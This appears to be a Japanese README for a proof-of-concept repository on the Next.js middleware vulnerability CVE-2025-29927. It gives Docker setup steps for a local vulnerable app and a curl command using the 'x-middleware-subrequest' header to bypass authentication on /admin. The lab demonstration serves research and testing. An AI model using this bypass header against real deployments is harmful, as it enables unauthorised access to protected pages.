
Next.js ミドルウェアの脆弱性(CVE-2025-29927)に関する研究:認証バイパスと潜在的なエクスプロイトを許すもの
このリポジトリは、Next.js ミドルウェア (CVE-2025-29927) における重大な脆弱性を示しています。この脆弱性はバージョン 11.1.4 から 15.1.7 に影響し、認証バイパス、CSP バイパス、そしてキャッシュポイズニングによる潜在的な DoS 攻撃を可能にします。問題は x-middleware-subrequest ヘッダの処理方法に起因し、攻撃者がミドルウェアの保護メカニズムを迂回することを許します。
この概念実証は v12 の脆弱性に特化したものです。
このリポジトリのファイルと Docker を使用して脆弱な環境をセットアップするには、以下を実行します:
git clone https://github.com/l1uk/nextjs-middleware-exploit.git
cd nextjs-middleware-exploit
docker build -t my-next-app .
docker run -p 3000:3000 my-next-app
このリポジトリには、脆弱性の悪用をテストするためのスクリプト exploit.sh が既に作成されています。テストするには以下を実行します:
chmod +x exploit.sh
./exploit.sh
また、以下の手順で脆弱性の悪用をテストすることもできます。
login ページにリダイレクトされるはずです。curl -i http://localhost:3000/admin
x-middleware-subrequest ヘッダを使用して認証なしでページをリクエストします。認証ページをバイパスできるはずです。curl -i -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/admin